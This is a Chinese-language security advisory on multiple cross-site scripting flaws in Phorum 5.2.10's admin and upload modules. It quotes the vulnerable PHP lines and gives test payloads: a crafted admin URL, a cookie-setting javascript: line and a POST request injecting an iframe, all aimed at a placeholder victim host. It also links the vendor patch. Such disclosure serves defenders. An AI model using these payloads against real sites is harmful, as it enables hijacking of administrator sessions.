安全研究
安全漏洞
Phorum多个跨站脚本漏洞
发布日期:2009-04-16
更新日期:2009-04-17
受影响系统:
Phorum Phorum 5.2.10描述:
BUGTRAQ ID: 34551
Phorum是一款基于PHP的WEB论坛程序,可在Linux和Unix操作系统下使用,也可在Microsoft Windows操作系统下使用。
Phorum的管理控制台和文件上传模块没有正确地过滤用户所提交的请求参数,远程攻击者可以通过向论坛提交恶意的POST或GET请求执行跨站脚本攻击。
以下是include/admin/banlist.php文件中的有漏洞代码段:
+++include/admin/banlist.php @@ 88:104
88 if($_GET["curr"] && $_GET["delete"]){
89
90 ?>
91
92 <div class="PhorumInfoMessage">
93 Are you sure you want to delete this entry?
94 <form action="<?php echo $PHORUM["admin_http_path"] ?>" method="post">
95 <input type="hidden" name="module" value="<?php echo $module; ?>" />
XXX 96 <input type="hidden" name="curr" value="<?php echo $_GET['curr']; ?>" />
97 <input type="hidden" name="delete" value="1" />
98 <input type="submit" name="confirm" value="Yes" /> <input type="submit"
name="confirm" value="No" />
99 </form>
100 </div>
101
102 <?php
103
104 } else {
---include/admin/banlist.php
include/admin/banlist.php文件的94行也存在类似的跨站脚本漏洞。
以下是一个较难利用的跨站脚本,因为必须通过修改用户的cookie来储存攻击载体并将用户重新定向到versioncheck.php文件:
+++versioncheck.php @@ 79:83
79 <?php if ($upgrade_available) { ?>
80 <div class="notify_upgrade">
XXX 81 <a target="_top" href="admin.php?module=version">New Phorum version <?php print
$upgrade_available ?> available!</a>
82 </div>
83 <?php } else { ?>
---versioncheck.php
include/admin/users.php文件中存在另一个跨站脚本,但仅可通过POST请求利用:
+++include/admin/users.php @@ 87:93
87 //check for a valid email
88 if (!empty($_POST["email"])) {
89 include('./include/email_functions.php');
90 $valid_email = phorum_valid_email($_POST["email"]);
91 if ($valid_email !== true)
XXX 92 $error = "The email \"$_POST[email]\" is not valid!";
93 }
---include/admin/users.php
同一文件的82行也存在类似的漏洞。
users.php文件中也存在跨站脚本漏洞,可通过Referer参数或$_POST['referrer']利用:
+++include/admin/users.php @@ 52:59
52 if (isset($_POST['referrer'])) {
XXX 53 $referrer = $_POST['referrer'];
54 unset($_POST['referrer']);
55 } elseif (isset($_SERVER['HTTP_REFERER'])) {
XXX 56 $referrer = $_SERVER['HTTP_REFERER'];
57 } else {
58 $rererrer = "{$PHORUM["admin_http_path"]}?module=users";
59 }
---include/admin/users.php
+++include/admin/users.php @@ 659:661
659
XXX 660 $frm->hidden("referrer", $referrer);
661
---include/admin/users.php
<*来源:cicatriz (c1c4tr1z@voodoo-labs.org)
链接:http://marc.info/?l=bugtraq&m=123989549623594&w=2
http://secunia.com/advisories/34651/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://www.victim.com/phorum-5.2.10/admin.php?module=badwords&curr=1"><img/src/onerror="alert('voodoo');&delete=1
javascript:with(document)cookie="phorum_upgrade_available=<iframe/src='javascript:alert(/voodoo/.source)'>",location="http://www.victim.com/phorum-5.2.10/versioncheck.php";
POST /phorum-5.2.10/admin.php HTTP/1.1
module=users&referrer=http%3A%2F%2Fwww.victim.com%2Fphorum-5.2.10%2Fadmin.php%3Fmodule%3Dusers&addUser=1&username=xss&real_name=xss&email=%3Ciframe%2Fsrc%3D%22javascript%3Aalert%28%27voodoo%27%29%3B%22%3E&password1=xss&password2=xss
&admin=0
建议:
厂商补丁:
Phorum
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://trac.phorum.org/changeset/4009
浏览次数:3490
严重程度:0(网友投票)
绿盟科技给您安全的保障
